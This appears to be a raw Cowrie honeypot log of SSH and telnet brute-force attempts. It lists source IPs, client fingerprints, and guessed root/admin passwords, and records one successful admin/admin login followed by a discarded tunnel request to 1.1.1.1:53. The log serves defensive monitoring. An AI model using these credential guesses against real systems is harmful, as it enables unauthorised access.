{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:09.483296Z","src_ip":"211.106.137.135","session":"010035f9dfb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@1234","message":"login attempt [root/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:10.307162Z","src_ip":"211.106.137.135","session":"010035f9dfb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:11.514366Z","src_ip":"211.106.137.135","session":"010035f9dfb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":55508,"dst_ip":"159.203.135.109","dst_port":22,"session":"a93bd576c2eb","protocol":"ssh","message":"New connection: 103.97.101.25:55508 (159.203.135.109:22) [session: a93bd576c2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:12.145768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:12.148591Z","src_ip":"103.97.101.25","session":"a93bd576c2eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:12.383200Z","src_ip":"103.97.101.25","session":"a93bd576c2eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1b2c3d4e5f6","message":"login attempt [root/A1b2c3d4e5f6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:13.356771Z","src_ip":"103.97.101.25","session":"a93bd576c2eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:14.595034Z","src_ip":"103.97.101.25","session":"a93bd576c2eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":55084,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd5123c3e37","protocol":"ssh","message":"New connection: 147.45.51.138:55084 (10.17.0.5:22) [session: cfd5123c3e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:26.043016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:26.046596Z","src_ip":"147.45.51.138","session":"cfd5123c3e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:26.137614Z","src_ip":"147.45.51.138","session":"cfd5123c3e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsx123","message":"login attempt [admin/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:26.534025Z","src_ip":"147.45.51.138","session":"cfd5123c3e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:27.626146Z","src_ip":"147.45.51.138","session":"cfd5123c3e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2495,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce9b4a94e7e9","protocol":"ssh","message":"New connection: 196.188.93.169:2495 (159.203.135.109:22) [session: ce9b4a94e7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:28.295728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:28.299600Z","src_ip":"196.188.93.169","session":"ce9b4a94e7e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:28.471128Z","src_ip":"196.188.93.169","session":"ce9b4a94e7e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36824,"dst_ip":"10.17.0.5","dst_port":22,"session":"195896e722c8","protocol":"ssh","message":"New connection: 8.210.75.243:36824 (10.17.0.5:22) [session: 195896e722c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:28.887496Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rk@123456","message":"login attempt [root/rk@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:29.193329Z","src_ip":"196.188.93.169","session":"ce9b4a94e7e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:30.368729Z","src_ip":"196.188.93.169","session":"ce9b4a94e7e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":13032,"dst_ip":"10.17.0.5","dst_port":22,"session":"9631c3490324","protocol":"ssh","message":"New connection: 176.53.159.196:13032 (10.17.0.5:22) [session: 9631c3490324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:37.495016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:37.501289Z","src_ip":"176.53.159.196","session":"9631c3490324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:37.596203Z","src_ip":"176.53.159.196","session":"9631c3490324","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:37.884620Z","src_ip":"176.53.159.196","session":"9631c3490324","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:37.983320Z","session":"9631c3490324","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:38.080362Z","src_ip":"176.53.159.196","session":"9631c3490324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:38.177484Z","src_ip":"176.53.159.196","session":"9631c3490324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":58838,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd9856a7820","protocol":"ssh","message":"New connection: 129.121.102.3:58838 (10.17.0.5:22) [session: 0dd9856a7820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:40.691695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:40.695186Z","src_ip":"129.121.102.3","session":"0dd9856a7820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:40.721019Z","src_ip":"129.121.102.3","session":"0dd9856a7820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123$$$","message":"login attempt [root/abc123$$$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:40.863451Z","src_ip":"129.121.102.3","session":"0dd9856a7820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38028,"dst_ip":"159.203.135.109","dst_port":23,"session":"12a62b716411","protocol":"telnet","message":"New connection: 170.64.224.25:38028 (159.203.135.109:23) [session: 12a62b716411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:41.291272Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:41.893739Z","src_ip":"129.121.102.3","session":"0dd9856a7820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":40450,"dst_ip":"10.17.0.5","dst_port":22,"session":"62cc03aa3ff1","protocol":"ssh","message":"New connection: 164.92.161.148:40450 (10.17.0.5:22) [session: 62cc03aa3ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:46.337141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:46.339715Z","src_ip":"164.92.161.148","session":"62cc03aa3ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:46.420986Z","src_ip":"164.92.161.148","session":"62cc03aa3ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcasd123","message":"login attempt [root/Zxcasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:46.787419Z","src_ip":"164.92.161.148","session":"62cc03aa3ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:47.873320Z","src_ip":"164.92.161.148","session":"62cc03aa3ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":59480,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9fc5e7dcf5b","protocol":"ssh","message":"New connection: 139.59.208.49:59480 (10.17.0.5:22) [session: b9fc5e7dcf5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:47.975696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:47.978446Z","src_ip":"139.59.208.49","session":"b9fc5e7dcf5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:48.067369Z","src_ip":"139.59.208.49","session":"b9fc5e7dcf5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chris","message":"login attempt [root/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:48.435435Z","src_ip":"139.59.208.49","session":"b9fc5e7dcf5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:49.525383Z","src_ip":"139.59.208.49","session":"b9fc5e7dcf5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37634,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e10a91f45e2","protocol":"telnet","message":"New connection: 170.64.224.25:37634 (159.203.135.109:23) [session: 8e10a91f45e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:51.687487Z"}
